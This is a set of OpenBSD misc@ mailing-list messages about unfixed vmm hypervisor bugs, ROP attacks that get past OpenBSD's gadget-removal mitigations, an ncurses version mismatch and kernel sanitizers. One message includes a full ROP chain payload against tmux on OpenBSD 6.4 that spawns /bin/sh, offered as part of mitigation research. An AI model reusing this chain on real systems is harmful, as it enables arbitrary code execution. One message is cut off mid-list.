VMM vulns?
https://twitter.com/m00nbsd/status/1291257985734410244 I don't want to bump that old thread or start any arguments about this. I'm just curious if this tweet is accurate or have these issues been addressed? Were any of Maxime's suggestions implemented?
Re: VMM vulns?
So, if I'm reading this all correctly it looks like _most_ of the issues have been addressed. Seems these are left: - The TLB handling of guest pages is broken, in that the INVEPT instructions in the host could be issued on the wrong CPUs. This means that if UVM decides to swap out a guest page, the guest could still access it via stale TLB entries. On AMD CPUs, there is no TLB handling at all (??). - vmx_load_pdptes is broken. And for the suggestions: - Fix TLB handling - Provide *real* ASLR: randomize the PTE space and the direct map. Does that seem correct? Sent: Thursday, September 10, 2020 at 9:41 AM From: "Demi M. Obenour" To: misc@openbsd.org Subject: Re: VMM vulns? On 2020-09-03 01:09, Mike Larkin wrote: > On Wed, Sep 02, 2020 at 09:36:14PM -0400, Bryan Steele wrote: >> On Wed, Sep 02, 2020 at 02:03:35AM -0700, Mike Larkin wrote: >>> On Wed, Sep 02, 2020 at 03:35:54AM +0200, f...@disciples.com wrote: https://twitter.com/m00nbsd/status/1291257985734410244 I don't want to bump that old thread or start any arguments about this. I'm just curious if this tweet is accurate or have these issues been addressed? Were any of Maxime's suggestions implemented? >>> >>> I am not sure if anyone picked up the remaining issues after I left active >>> vmm development. At that time, I sent out my WIP diff for the TLB flush >>> issue >>> Maxime reported; it was not 100% complete. I am not sure if anyone is >>> working >>> on that or not, or any other issues he reported. >>> >>> -ml >> >> As far as I'm aware all the pvclock(4) issues were addressed by pd@ and >> mortimer@. >> >> https://marc.info/?l=openbsd-cvs&m=158180761313544&w=2[https://marc.info/?l=openbsd-cvs&m=158180761313544&w=2] >> https://marc.info/?l=openbsd-cvs&m=158269876318391&w=2[https://marc.info/?l=openbsd-cvs&m=158269876318391&w=2] >> >> The "assorted bugs and vulns" like the RDMSR passthrough and the XSETBV >> CPL check issues were handled by pd@, me and kettenis@ and they have all >> been committed. >> >> https://marc.info/?l=openbsd-cvs&m=158196338821895&w=2[https://marc.info/?l=openbsd-cvs&m=158196338821895&w=2] >> >> The direct map issue on Intel CPUs hinted at by Maxime was also fixed >> by kettenis@, deraadt@ and millert@. >> >> https://marc.info/?l=openbsd-cvs&m=158269724517998&w=2[https://marc.info/?l=openbsd-cvs&m=158269724517998&w=2] >> >> -Bryan. >> > > The TLB flush issues are still outstanding. > > -ml Yikes! Is https://openbsd.amsterdam[https://openbsd.amsterdam] affected? -Demi
Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Why are you targeting 6.4? That was released in 2018. So, that's 5 years and 9
releases since then and another one is happening soon.
Sent: Thursday, September 21, 2023 at 8:50 AM
From: "Nan ZoE"
To: misc@openbsd.org
Subject: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Hello,
I have read your paper regarding the ROP mitigation mechanism (Removing ROP
Gadgets from OpenBSD), and I find the defense against ROP quite ingenious.
The paper introduces the bytecode for 'ret' as '\xc3,' and its association
with the use of the 'rbx' register was a surprising revelation.
Subsequently, you adjusted the prioritization of the 'rbx' register during
compilation, effectively filtering out a significant number of 'ret'-ending
gadgets. This especially removed many misaligned 'ret'-ending gadgets, and
this technique has been applied to openbsd-63, 64, and 65. While the number
of 'ret'-ending gadgets has been significantly reduced, there are still
numerous 'call'-ending gadgets in the program. Security researchers can
still employ many 'call'-ending gadgets to carry out ROP attacks. Even in
programs of only a few hundred kilobytes, I have found that we can still
invoke the execve("/bin/sh", 0, 0) function using only the available
gadgets in the program, albeit it may require a combination of multiple
gadgets and some effort to achieve. I am curious if there are any further
ROP mitigation measures to address this issue? Additionally, I have
provided an ROP attack example targeting the tmux program in OpenBSD-64, as
shown below.
payload = p64(0x4017ce)
#0x004017ce: pop r13; pop r14; pop r15; ret;
payload += p64(0x68732f6e69622f)+p64(0x0)+p64(0x0)+p64(0x40125d)
# 0x0040125d: pop rbp; ret;
payload += p64(0x4017d1)+p64(0x403dd3)
# 0x00403dd3: xchg eax, ebp; ret;
payload += p64(0x412208)
# 0x00412208: mov rcx, r13; call rax;
payload += b''
# 0x004017d1: pop rsi; pop r15; ret;
payload += p64(0x0)+p64(0x40125d)
# 0x0040125d: pop rbp; ret;
payload += p64(0x40125d)+p64(0x403dd3)
# 0x00403dd3: xchg eax, ebp; ret;
payload += p64(0x427a31)
# 0x00427a31: pop rbx; pop rbp; jmp rax;
payload += p64(0x49e0ed)+p64(0x0)
# 0x0040125d: pop rbp; ret;
payload += p64(0x4017d1)+p64(0x403dd3)
# 0x00403dd3: xchg eax, ebp; ret;
payload += p64(0x412053)
# 0x00412053: mov r8, rbx; call rax;
payload += b''
# 0x004017d1: pop rsi; pop r15; ret;
payload += p64(0x0)+p64(0x4551d9)
# 0x004551d9: add qword ptr [r8 - 0x7d], rcx; ret;
payload += p64(0x4017d3)
# 0x004017d3: pop rdi; ret;
payload += p64(0x49e070)+p64(0x40d571)
# 0x0040d571: pop rsi; ret;
payload += p64(0x0)+p64(0x4017cf)
# 0x004017cf: pop rbp; pop r14; pop r15; ret;
payload += p64(0x0)+p64(0x4017d0)+p64(0x0)+p64(0x40125d)
# 0x0040125d: pop rbp; ret;
payload += p64(0x49e1d0)+p64(0x42d80b)
# 0x0042d80b: mov rdx, r15; mov rcx, qword ptr [rbp - 0x40]; mov
rax, r14; call rax;
payload += b''
# 0x004017d0: pop r14; pop r15; ret;
payload += p64(0x0)+p64(0x40125d)
# 0x0040125d: pop rbp; ret;
payload += p64(0x3b)+p64(0x403dd3)
# 0x00403dd3: xchg eax, ebp; ret;
payload += p64(0x407fae)
# 0x00407fae: syscall;
payload += b''
Best regards,
ZoE
2023.09.21
Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Can you show how you arrived at these results? The more detailed the better.
Perhaps this should be its own blog post somewhere as well.
I can't speak to the suggested experiments other than to say that having a
wider audience may be of help.
Sent: Saturday, October 07, 2023 at 8:13 PM
From: "Nan ZoE"
To: misc@openbsd.org
Subject: Re: ROP Exploitation in openbsd-64 Programs After Removing ROP Gadgets
Hello,
Thank you very much for all your suggestions first. After our last
discussion, I conducted some additional experiments and gained a more
detailed understanding of the ROP mitigation mechanisms implemented during
the compilation phase of these programs. *I aimed to identify any
shortcomings in these mitigation mechanisms and attempt to improve them*. I
want to continue our in-depth discussion regarding these mitigation
mechanisms.
Firstly, we have observed that OpenBSD is dedicated to reducing the number
of effective Gadgets during the compilation phase while resisting ROP
attacks by increasing the complexity of Gadgets. This is a highly
meaningful and practical approach to ROP defense, as it does not incur the
significant performance overhead that techniques like CFI (Control Flow
Integrity) do. Measures like these can be deployed in various application
scenarios, *as they could be applied to programs in IoT devices or network
equipment *(such as firewalls). Based on my knowledge, many vulnerabilities
still exist in these targets, and ROP attack techniques remain the
preferred choice for attackers during exploitation. *These devices often
prioritize rapid response and tend to weaken their security defenses;*
therefore, adding such mitigation measures during the compilation phase
could significantly enhance their security.
Given that our analysis focuses on ROP attack mitigation measures
implemented during the compilation phase, our primary evaluation method
revolves around assessing how ROP attacks can still be executed using only
Gadgets when these measures are enabled. We conducted experiments where we
attempted to search for and chain Gadgets within programs to construct ROP
payloads that achieve the execution of '*execve("/bin/sh", 0, 0)*'. This
evaluation encompasses two aspects: first, the arbitrary memory-write
capability of the Gadget set (initially setting memory values to *'/bin/sh'*),
and second, the capability to set the values of the key registers *rdi,
rsi, rdx*, and *rax *(for setting* rdi, rsi,* and *rdx *as arguments and *rax
*as the system call number). We conducted experiments on OpenBSD 6.2,
OpenBSD 6.5, and OpenBSD 7.3, extracting the minimal program set for each
version. In *OpenBSD 6.2*, out of 87 programs, we successfully generated
ROP for 84 programs, achieving a success rate of *96.55%*. In *OpenBSD 6.5*,
out of 240 programs, we successfully generated ROP for 191 programs, with a
success rate of *79.58%*. In *OpenBSD 7.3,* out of 264 programs, we only
managed to generate ROP for 134 programs, with a success rate of *50.75%*.
We also manually analyzed the reasons for failure to generate each
program's ROP. In most cases, the inability to control specific register
values led to failures. This was due to a limited number of relevant
Gadgets and their complexity. The range of controllable register values was
restricted. It's worth mentioning that, naturally, if the attack
requirements were lowered, such as requiring control over fewer registers,
it might lead to a higher success rate among the programs.
Based on the experimental data we have gathered, it is evident that
OpenBSD's ROP mitigation measures continually strengthen with each
iteration. They have reduced the number of Gadgets within programs and
increased the complexity of using these Gadgets. The decrease in success
rates is the most compelling evidence of this improvement.
Subsequently, we analyzed the reasons for successfully generating ROP in
some programs, which can be summarized in four key points:
1. While many 'ret'-ending Gadgets have been removed, many 'call' and
'jmp'-ending Gadgets remain usable. These Gadgets allow the storage of jump
addresses in both registers and memory.
2. Despite a reduction in Gadgets for data transfer through 'mov'
instructions, numerous Gadgets still feature arithmetic operations. They
rely on leaked register or memory values to assist in setting target
values, often involving straightforward calculations. (When you have
complete control over the value of a register, it can act like a chain
reaction, assisting in controlling more registers.)
3. Gadgets that involve memory read/write operations are handy, albeit
demanding greater control over multiple register values. Once arbitrary
memory reads or writes are achieved, they can lead to chain reactions,
facilitating control over additional registers or memory values.
4. Conditional branch Gadgets can also be utilized.
5. Additionally, some specific bytecodes employ unique exploitation
techniques, such as 'retf,' 'retf
ncurses in 7.5
Hello, https://www.openbsd.org/plus75.html says: Updated ncurses and associated libraries (form, panel, menu) to 6.4-20230826. but https://www.openbsd.org/75.html says: Ncurses 5.7 Is this an oversight or am I overlooking something?
Sanitizers/Fuzzing Support
Hello, I see that OpenBSD supports KUBSAN. Does OpenBSD have support for KASAN, KMSAN, KLEAK, etc? (or similar things)
Re: Sanitizers/Fuzzing Support
Yes, I've seen that. This does not answer my question. See https://man.openbsd.org/kubsan which is not listed there at all. Sent: Tuesday, December 06, 2022 at 7:16 AM From: "Bodie" To: misc@openbsd.org Subject: Re: Sanitizers/Fuzzing Support On Tue Dec 6, 2022 at 5:27 AM CET, wrote: > Hello, > > I see that OpenBSD supports KUBSAN. > > Does OpenBSD have support for KASAN, KMSAN, KLEAK, etc? (or similar things) > > > See https://www.openbsd.org/innovations.html
